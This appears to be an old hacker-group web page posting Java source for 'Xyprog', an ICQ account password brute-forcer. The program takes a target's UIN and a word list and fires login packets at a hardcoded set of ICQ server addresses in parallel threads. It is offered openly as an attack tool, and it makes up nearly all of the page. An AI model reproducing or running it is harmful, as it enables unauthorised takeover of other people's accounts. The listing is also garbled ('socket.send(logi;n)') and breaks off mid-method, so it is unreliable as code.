UnITed DiViNe FoRCeS



 

enter





                                                                                                                                                                 ----------->
import java.net.*;
import java.io.*;

class xyprog implements Runnable{

  static BufferedReader reader;
  static byte mainbuff[] = new byte[10];
  static int socknum = 8;
  InetAddress server;
  DatagramSocket socket;
  byte buff[] = new byte[56]; //login buff
  byte abuff[] = new byte[128]; // answer buff
  byte acks[] = new byte[10]; // acks buff

  DatagramPacket answer;
  DatagramPacket login;
  DatagramPacket ack;

  boolean ok = false;
  String port;
  int portlen;
  String password;
  byte passwd[];

  public static void main(String args[]){

    System.out.println("Xyprog 1.01, by An Eyewitness\n");
 

    if(args.length<2){
      System.err.println("Usage: xyprog <UIN> <word list> [number of socket]");
      System.exit(1);
    }

    try{

      int i;
      String line;
      InetAddress icq[] = { InetAddress.getByName("205.188.252.14"), InetAddress.getByName("205.188.252.17"), InetAddress.getByName("205.188.252.20"), InetAddress.getByName("205.188.252.23"), InetAddress.getByName("205.188.252.26"), InetAddress.getByName("205.188.252.29"), InetAddress.getByName("205.188.252.33"), InetAddress.getByName("205.188.252.11"), InetAddress.getByName("205.188.252.21"), InetAddress.getByName("205.188.252.24"), InetAddress.getByName("205.188.252.27"), InetAddress.getByName("205.188.252.31"),  InetAddress.getByName("205.188.252.12"), InetAddress.getByName("205.188.252.15"), InetAddress.getByName("205.188.252.18"), InetAddress.getByName("205.188.252.19"), InetAddress.getByName("205.188.252.16"), InetAddress.getByName("205.188.252.13"), InetAddress.getByName("205.188.252.32"), InetAddress.getByName("205.188.252.28"), InetAddress.getByName("205.188.252.25"), InetAddress.getByName("205.188.252.22") };

      /* I was having trouble resolving mirabilis hostname,
  so more more resolving. Try resolving icq1.mirabilis.com
  twice, on my comp I get two different IP array.
      */
 

      mainbuff[0] = (byte) 0x02;
      mainbuff[2] = (byte) 0xE8;
      mainbuff[3] = (byte) 0x03;

      line = Integer.toHexString(Integer.parseInt(args[0]));
      i = line.length();
      mainbuff[6] = (byte) Integer.parseInt(line.substring(i-2), 16);
      mainbuff[7] = (byte) Integer.parseInt(line.substring(i-4,i-2), 16);
      if(i>4){
 if(i==5)
   mainbuff[8] = (byte) Integer.parseInt(line.substring(i-5,i-4), 16);
 else
   mainbuff[8] = (byte) Integer.parseInt(line.substring(i-6,i-4), 16);
      }
      if(i>6){
 if(i==7)
   mainbuff[9] = (byte) Integer.parseInt(line.substring(i-7,i-6), 16);
 else
   mainbuff[9] = (byte) Integer.parseInt(line.substring(i-8,i-6), 16);
      }

      reader = new BufferedReader(new FileReader(args[1]));
      if(args.length>2){
 if(args[2].equalsIgnoreCase("max"))
   socknum = icq.length;
 else{
   try{
     socknum = Integer.parseInt(args[2]);
   }
   catch(NumberFormatException ex){
     System.err.println(args[2] + " is not a valid number of socket");
     System.exit(1);
   }
 }
      }
      if(socknum>icq.length){
 System.out.println("Sorry, for some reason out of my control the maximum number of socket is " + Integer.toString(icq.length) + " ...");
 System.exit(1);
      }
      for(int t=0;t<socknum;t++){
 Thread thread = new Thread(new xyprog(icq[t]));
 thread.start();
      }
    }
    catch(FileNotFoundException ex){
      System.err.println("Can't open file " + args[1]);
    }
    catch(IOException ex){
      ex.printStackTrace();
    }
  }
 

  public xyprog(InetAddress server){

    try{
      this.server = server;
      // System.out.println(server.toString());
      socket = new DatagramSocket();
      socket.setSoTimeout(30000);

      for(int i=0;i<10;i++)
 buff[i] = mainbuff[i];

      acks[0] = (byte) 0x02;
      acks[2] = (byte) 0x0A;
      for(int i=6;i<10;i++)
 acks[i] = mainbuff[i];

      port = Integer.toHexString(socket.getLocalPort());
      portlen = port.length();
      buff[10] = (byte) Integer.parseInt(port.substring(portlen-2), 16);
      if(portlen==3)
 buff[11] = (byte) Integer.parseInt(port.substring(portlen-3,portlen-2), 16);
      else
 buff[11] = (byte) Integer.parseInt(port.substring(portlen-4,portlen-2), 16);
    }
    catch(IOException ex){
      ex.printStackTrace();
    }

  }

  public void run(){
    try{
      for(int k=0;;k++){
 if(k==255)
   k=0;
 password = reader.readLine();
 if(password==null)
   break;
 if(password.length()>8)
   continue;
 int l = password.length();
 buff[14] = (byte) (l + 1);
 passwd  = password.getBytes();
 for(int j = 0;j<l;j++)
   buff[16 + j] = passwd[j];
 buff[l + 16] = (byte) 0x00;
 buff[4] = (byte) k;
 login = new DatagramPacket(buff, l+ 17, server, 4000);
 socket.send(login);
 ok = false;

 while(!ok){
   try{
     answer = new DatagramPacket(abuff, 128);
     socket.receive(answer);
     if(abuff[2] == (byte) 0x0A && abuff[3] == (byte) 0x00){
       // ACK
     }
     else{
       synchronized(System.out){
  packetinfo();
       }
       ack();
     }
   }
   catch(InterruptedIOException ex){
     System.out.println("Timeout on receive(). Resending packet");
     socket.send(logi;n)
   }
 


This page has been visited times. 

Entrar